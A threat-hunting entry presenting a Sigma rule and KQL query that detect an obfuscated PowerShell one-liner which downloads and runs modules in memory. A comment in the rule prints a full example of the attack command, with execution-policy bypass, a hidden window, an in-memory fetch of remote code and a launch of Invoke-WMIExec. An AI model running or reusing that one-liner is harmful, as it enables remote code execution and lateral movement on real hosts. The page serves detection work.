Obfuscated PowerShell OneLiner Execution

Hunt Hypothesis

Detects the execution of a specific OneLiner to download and execute powershell modules in memory.

Detection Rule

Sigma (Original)

title: Obfuscated PowerShell OneLiner Execution
id: 44e24481-6202-4c62-9127-5a0ae8e3fe3d
status: test
description: Detects the execution of a specific OneLiner to download and execute powershell modules in memory.
references:
    - https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
    - https://gist.github.com/mgeeky/3b11169ab77a7de354f4111aa2f0df38
author: '@Kostastsale, TheDFIRReport'
date: 2022-05-09
modified: 2025-04-16
tags:
    - attack.execution
    - attack.defense-impairment
    - attack.t1059.001
    - attack.t1685
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        # Example: powershell -nop -noni -ep bypass -w h -c "$u=("http://127.0.0.1:1337/"|%%{(IRM $_)});&("".SubString.ToString()[67,72,64]-Join"")($u); Import-Module C:\Users\EXAMPLE\Invoke-WMIExec.ps1; Invoke-WMIExec"
        Image|endswith: '\powershell.exe'
        CommandLine|contains|all:
            - 'http://127.0.0.1'
            - '%{(IRM $_)}'
            - 'Invoke'
    condition: selection
falsepositives:
    - Unknown
level: high

KQL (Azure Sentinel)

imProcessCreate
| where TargetProcessName endswith "\\powershell.exe" and (TargetProcessCommandLine contains "http://127.0.0.1" and TargetProcessCommandLine contains "%{(IRM $_)}" and TargetProcessCommandLine contains "Invoke")

Required Data Sources

False Positive Guidance

• Unknown

MITRE ATT&CK Context

• Tactic: Execution
• Technique: T1059.001 — PowerShell
• Technique: T1685 — T1685

References

• https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
• https://gist.github.com/mgeeky/3b11169ab77a7de354f4111aa2f0df38
• SigmaHQ Rule